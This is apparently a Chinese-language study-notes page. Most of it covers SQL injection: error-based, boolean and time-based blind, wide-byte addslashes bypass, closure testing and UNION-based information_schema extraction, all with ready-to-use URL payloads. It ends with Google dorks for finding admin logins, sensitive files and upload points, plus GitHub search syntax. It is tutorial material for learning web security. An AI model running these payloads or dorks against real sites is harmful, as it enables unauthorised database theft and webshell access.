something about SQL-Injection skills

SQL 注入分类

报错注入

  • 报错方法

    • Duplicate entry

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      and
      (
      select 1 -- 检索y的值(1)
      from (
      select count(*)
      ,concat( -- 利用 concat函数拼接内容,起别名为x
      0x23 -- 拼接#符号,分隔信息
      ,($PAYLOAD) -- payload
      ,0x23
      ,floor(rand(0)*2) -- floor函数与count(*),group by,结合使用来报错
      ) as x
      from information_schema.tables
      group by x -- floor产生的0/1序列,group by 时会报错(重复主键)
      ) as y
      )

      公式and+(+select+1+from+(+select+count(*)+,concat(0x23,($PAYLOAD),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+

  • updatexml报错

    1
    2
    3
    4
    5
    and
    updatexml(1
    ,concat($PAYLOAD -- ~(0x7e)是非法字符,一定会报错
    ,0x7e)
    ,1)

    公式,and+(updatexml(1,cancat(database(),0x7e),1))+--+

    updatexml(XML_document, XPath_string, new_value),当XPath_string格式出现错误时,mysql会报语法错误。

  • extractvalue报错

    1
    2
    3
    4
    5
    and
    extractvalue(1,
    concat($PAYLOAD
    ,0x7e)
    )

    公式and+(extractvalue(1,cancat($PAYLOAD,0x7e)))+--+

    extractvalue(XML_document, XPath_string),与updatexml()函数相同,当XPath_string格式出现错误时,mysql会报语法错误。

盲注

  • 基于布尔

    使用?id=1'+and+false+--+?id=1'+or+true+--+确认是否存在注入点。
    可是,确认存在注入点又能做到什么呢?

    由于 检索成功检索失败 两种情况天然为布尔型,因此可以据此进行大量请求,通过一系列的判断 获得数据库情况。

    例如可以通过大量类似于
    ?id=1'+and+(ascii(substr(database(),1,1))=ascii('a'))+--+
    ?id=1'+and+(ascii(substr(database(),2,1))=ascii('b'))+--+

    ?id=1'+and+(ascii(substr(database(),1,1))>ascii('m'))+--+
    ?id=1'+and+(ascii(substr(database(),1,1))<ascii('g'))+--+

    ?id=1'+and+(length(database())+<+20)+--+
    ?id=1'+and+(length(database())+>+10)+--+

    ?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))+<+20)+--+
    ?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1))+<+20)+--+
    id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))+<+ascii('m'))+--+
    id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),1,1))+<+ascii('m'))+--+
    的猜测,得到数据库的名字,长度,数据表的长度等。

  • 基于时间

    使用?id=1'+or+true+--+?id=1'+and+sleep(5)+--+确认是否存在注入点。
    与基于布尔类似, 页面响应延迟页面响应正常 两种情况,天然为布尔型, 因此可以据此进行大量请求,通过一系列的判断获得数据库情况。

    使用例如下:
    ?id=1'+and+(ascii(substr(database(),1,1))<ascii('m'))+and+sleep(5)+--+
    ?id=1'+and+(ascii(substr(database(),2,1))>ascii('m'))+and+sleep(5)+--+

    利用了短路与的特性,
    and(ascii(...)) 时,会执行and sleep(...),页面延迟响应,
    and(ascii(...)) 时,and sleep(...)语句被短路,页面无延迟响应,即正常响应。

宽字节注入

当数据库使用的编码为类似GBK等双字节编码时,会导致在解析SQL语句的每个字符时以每两个字节来获取。

而在对SQL注入进行防范时,php经常会使用addslashes()对字符串中的特殊字符前增加\转义符。

例如注入后的参数,在URL中为URLencode后的值(hello%27or+true%23),传递到后台时为hello'or true#
后台的处理为:

1
$sql = "select a from tb where a='addslashes($param)';";

我们预想的结果为闭合hello,令ahello进行比较。

1
select a from tb where a='hello'or true#';

其实结果为ahello\'or true#,并未能够实现绕过。

1
select a from tb where a='hello\'or true#';

为了绕过addslashes()的转义,因此在向后台传递注入时,增加处理手段。在单引号'前增加一个字节,%dfURL中参数为%68%65%6c%6c%6f%df%27(此为全encode样子),传递到后台后为hello%df'(关注%df%27)。调用addslashes()函数后会在'前增加一个\,结果为 hello%df\'(关注%df%5c%27)。因此在数据库在解码时,由于我们人为的添加了一个字节,导致解码时会有一个错位。所以%df%5c会在一起解码成为一个汉字。

真实结果为ahello我,最终还是闭合成功,成功注入。

1
2
-- 假装`%df%5c`是汉字`我`
select a from tb where a='hello我'or true#';

SQL注入技巧

  • 注入注释

    注入注释时,可选择--#,其后最好紧跟一个空格,可以用%20+来表示空格。
    可以使用%23来表示#

  • 闭合

    • 可以使用and sleep(5)判断闭合方式

      ?id=1'+and+sleep(5)

      闭合成功时,页面响应延迟。
      页面正常响应时,说明闭合失败,需要更换闭合方式。

    • 尝试闭合'(单引号)

      id=’$id’

    • 尝试闭合"(双引号)

      ‘id=’ . ‘“‘ . $id . ‘“‘ . ‘…’

    • 尝试闭合()(括号)

      id=($id)

    • 尝试闭合('')(单引号与括号)

      id=(‘$id’)

    • 尝试闭合("")(双引号与括号)

      id=(“$id”)

  • 注入步骤

    1. 确认注入点

      确认是否存在注入点。

    2. 确认注入点类型

      本身就将检索结果渲染在页面上时,可以方便的将敏感信息输出至页面。
      报错型注入,会在页面输出报错信息,可以将敏感信息在报错信息中显示出来。

    3. 确认查询子列数

      确认sql查询了几列,页面上显示的是哪几列,确认后可以将敏感信息放置在对应的列中显示在 页面上。

      例如:原sqlselect username,password,birthday from ...where id='$id'。可以注入 select username,password,birthday from ...where id='1' and false union select 1,2,3 # ', 以确认页面上显示的是哪几列。

      根据上面确认的显示列,可以注入获得关心的信息。 select username,password,birthday from ...where id='1' and false union select version(),database(),3 # ', 这样就可以将关心的敏感信息显示在页面上。

  • 获取信息

    究竟SQL注入,是做什么的呢?它危险,究竟危险在什么地方呢?
    SQL注入的过程,是利用来源于用户的参数填充到SQL语句中,从而恶意使得SQL的 语句结构 发生变化,从而获得信息的过程。
    最典型的select...from...where password='$password',用户恶意提供1'or true # , 从而最终语句为select...from...where password='1'or true # '。这样的话就能够在不知道 密码的情况下登录成功,这不是很危险?

    既然可以像以上一样,改变SQL语句结构,为什么不能更恶意一些,构造一些语句,获取我们关心的 信息呢?
    比如select...from...where id='1' and false union select 1, version(), database() # ', 不就可以获得敏感信息了吗?

    那么可不可以更恶意一些呢?
    当服务器的数据库设置不当时,我们可以将查询输出至文件。 正常使用当然是输出查询到的记录,可是当我们输出恶意文件时,不就可以获取webshell了吗?

    因此or 1=1并不是我们的最终目的,最终目的是 信息 或者 控制权

    • 获取数据库名

      select+group_concat(schema_name)+from+information_schema.schemata

    • 获取数据表名

      select+group_concat(table_name)+from+information_schema.tables+where table_schema='dbName'

    • 获取列名

      select+group_concat(column_name)+from+information_schema.columns+where table_name='tableName'

    字段 说明
    information_schema schemata schema_name 数据库名
    information_schema tables table_schema 数据库名
    information_schema tables table_name 数据表名
    information_schema columns table_name 数据表名
    information_schema columns column_name 字段名

常见URLencode字符

char URLencode
空格 %20
# %23
%27
= %3d

something about search skills

搜索引擎使用技巧

Google语法

  • 精确关键词

    使用"将关键词包裹起来,可以达到精确搜索的目的。如"abc def"为精确包含abc def 内容的站点,仅包含abc是不会匹配的。

  • 排除内容

    使用-xxx可以排除包含xxx的内容。

  • 逻辑或

    使用abc OR def,可以搜索包含abc或者包含def的内容。

  • 通配符

    使用*可以通配内容,达到模糊检索的目的,如*与莫蒂

  • intitle:

    使用intitle:xxx可以匹配标题关键字xxx

  • inurl:

    inurl:xxx搜索url中存在xxx内容的站点。 如:inurl:php?id=1

  • intext:

    使用intext:xxx可以检索主体包含xxx的内容。

  • related:

    使用related:xxx可以检索与xxx相关联的站点内容。

  • filetype:xxx

    检索文件后缀名为xxx的内容。

  • site:

    site:xxx.yyy,搜索xxx.yyy站点内的内容。如site:xxx.yyy 搜索引擎使用技巧。 可以搭配其它技巧使用。

    • 查找后台地址

      • site:xxx.yyy 管理后台/登陆/管理员/系统

      • site:xxx.yyy inurl:login/admin/system/guanli/denglu

    • 敏感文件

      • site:xxx.yyy filetype:pdf/doc/xls/conf

      • site:xxx.yyy filetype:log/sql/conf

    • 上传漏洞

      • site:xxx.yyy inurl:file
      • site:xxx.yyy inurl:load
    • 邮箱/QQ/群

      • site:xxx.yyy 邮件/email

      • site:xxx.yyy qq/QQ/群/企鹅/腾讯

Google语法

  • in:name

    使用in:name xxx,可以检索仓库 标题 中含有xxx的内容。

  • in:description

    使用in:description xxx,可以检索仓库 描述 中含有xxx的内容。

  • in:readme

    使用in:readme xxx,可以检索仓库 README 中含有xxx的内容。

  • forks:

  • stars:

    使用stars:>3000 xxx,可以检索star数量大于3000,包含xxx的内容。

  • forks:min..max

  • stars:min..max

    使用stars:1000..3000 xxx,可以检索star数量在1000至3000之间,包含xxx的内容。

  • size:

    使用size:>=5000 xxx,可以检索仓库大小在5000kb之上,包含xxx的内容。

  • pushed:

    使用pushed:>2021-12-26 xxx,可以检索推送时间大于2021/12/26,包含xxx的内容。

  • created:

    使用created:>2021-12-26 xxx,可以检索仓库创建时间大于2021/12/26,包含xxx的内容。

  • user:

    使用user:xxx检索 用户名xxx的内容。

  • license:

    使用license:apache-2.0 xxx,可以检索开源协议为apache-2.0,包含xxx的内容。

  • language:

    使用language:python xxx,可以检索 开发语言python,包含xxx的内容。